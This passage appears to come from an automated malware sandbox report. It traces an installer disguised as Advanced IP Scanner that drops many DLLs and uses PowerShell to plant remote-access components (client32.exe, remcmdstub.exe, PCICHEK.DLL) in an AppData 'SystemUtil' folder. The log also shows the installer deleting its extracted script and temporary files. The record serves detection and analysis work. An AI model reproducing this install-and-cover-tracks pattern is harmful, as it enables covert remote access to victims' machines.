[%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-9HESL.tmp]- [targetUID: 00000000-00005220] "is-GITR0.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-GITR0.tmp]- [targetUID: 00000000-00005220] "is-SMMFE.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-SMMFE.tmp]- [targetUID: 00000000-00005220] "is-C398I.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-C398I.tmp]- [targetUID: 00000000-00005220] "is-3RCEH.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 6 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\printsupport\is-3RCEH.tmp]- [targetUID: 00000000-00005220] "is-USEBL.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-USEBL.tmp]- [targetUID: 00000000-00005220] "is-QPD72.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-QPD72.tmp]- [targetUID: 00000000-00005220] "is-40SJ6.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-40SJ6.tmp]- [targetUID: 00000000-00005220] "is-5QITJ.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-5QITJ.tmp]- [targetUID: 00000000-00005220] "is-96QPJ.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-96QPJ.tmp]- [targetUID: 00000000-00005220] "is-MCJ5V.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-MCJ5V.tmp]- [targetUID: 00000000-00005220] "is-CRKDE.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-CRKDE.tmp]- [targetUID: 00000000-00005220] "is-M2UFF.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-M2UFF.tmp]- [targetUID: 00000000-00005220] "is-OP4NA.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-OP4NA.tmp]- [targetUID: 00000000-00005220] "is-O521N.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-O521N.tmp]- [targetUID: 00000000-00005220] "PCICHEK.DLL" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%APPDATA%\SystemUtil\PCICHEK.DLL]- [targetUID: 00000000-00007184] "is-9UF0N.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-9UF0N.tmp]- [targetUID: 00000000-00005220] "is-JGOAE.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-JGOAE.tmp]- [targetUID: 00000000-00005220] "is-4B9QE.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-4B9QE.tmp]- [targetUID: 00000000-00005220] "is-U2ES5.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-U2ES5.tmp]- [targetUID: 00000000-00005220] "is-EK4HQ.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-EK4HQ.tmp]- [targetUID: 00000000-00005220] "is-83BMU.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-83BMU.tmp]- [targetUID: 00000000-00005220] "is-NS87A.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-NS87A.tmp]- [targetUID: 00000000-00005220] "is-7AU9A.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-7AU9A.tmp]- [targetUID: 00000000-00005220] "is-29KKM.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows 2 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-29KKM.tmp]- [targetUID: 00000000-00005220] "_setup64.tmp" has type "PE32+ executable (console) x86-64 for MS Windows 5 sections"- Location: [%TEMP%\is-0DA6D.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00005220]94:T5883,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" wrote 28672 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-2BB8I.tmp\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 6144 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-0DA6D.tmp\_isetup\_setup64.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 16384 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-E4H59.tmp": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19136 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-OP4NA.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 18624 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-NS87A.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 18624 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-JGOAE.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 18624 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-4B9QE.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 22208 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-USEBL.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 18624 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-5PE80.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 18624 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-6T3KU.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 18624 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-EK4HQ.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19136 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-M2UFF.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19136 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-MCJ5V.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19136 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-O521N.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 21184 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-8RP4Q.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19136 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-CRKDE.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 18624 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-83BMU.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19648 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-5QITJ.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 20672 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-40SJ6.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19136 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-8NH4D.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 18112 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-29KKM.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 18112 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-7AU9A.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 18624 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-9UF0N.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 20672 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-QPD72.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19136 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-HO0SU.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19648 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-96QPJ.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 18624 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-GKPL5.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 18624 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-U2ES5.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19648 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-MJ7HF.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 22720 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-0VJN7.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19136 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-3RCS7.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 20672 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-5BVUF.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19648 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-VCHO0.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19136 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-29EUT.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 29376 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-KBU5L.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 26816 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-5U3SN.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19648 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-6IJ1D.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 23232 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-4M658.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 24768 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-KJDPM.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 24768 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-07464.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 21184 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-0VD3G.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" wrote 19136 bytes starting with PE header signature to file "C:\Program Files (x86)\Advanced IP Scanner\is-ICUIN.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "powershell.exe" wrote 33144 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\SystemUtil\pcicapi.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "powershell.exe" wrote 18808 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\SystemUtil\PCICHEK.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "powershell.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\SystemUtil\PCICL32.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "powershell.exe" wrote 7048 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\SystemUtil\remcmdstub.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "powershell.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\SystemUtil\TCCTL32.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "powershell.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\SystemUtil\AudioCapture.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "powershell.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\SystemUtil\client32.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "powershell.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\SystemUtil\HTCTL32.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "powershell.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\SystemUtil\msvcr100.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...95:T402,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\is-2BB8I.tmp\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" for deletion "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" marked "C:\Program Files (x86)\Advanced IP Scanner\details_panel_id_id.tpl" for deletion "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" marked "C:\Users\%OSUSER%\AppData\Local\Temp\is-0DA6D.tmp\ExtractedContent.ps1" for deletion "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" marked "C:\Users\%OSUSER%\AppData\Local\Temp\is-0DA6D.tmp\_isetup\_setup64.tmp" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_jlwms0hi.yru.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_fh3uwba2.kan.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\installPackage.zip" for deletion96:Tf79,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\is-2BB8I.tmp\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" with delete access "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" opened "C:\Program Files (x86)\Advanced IP Scanner\is-E4H59.tmp" with delete access 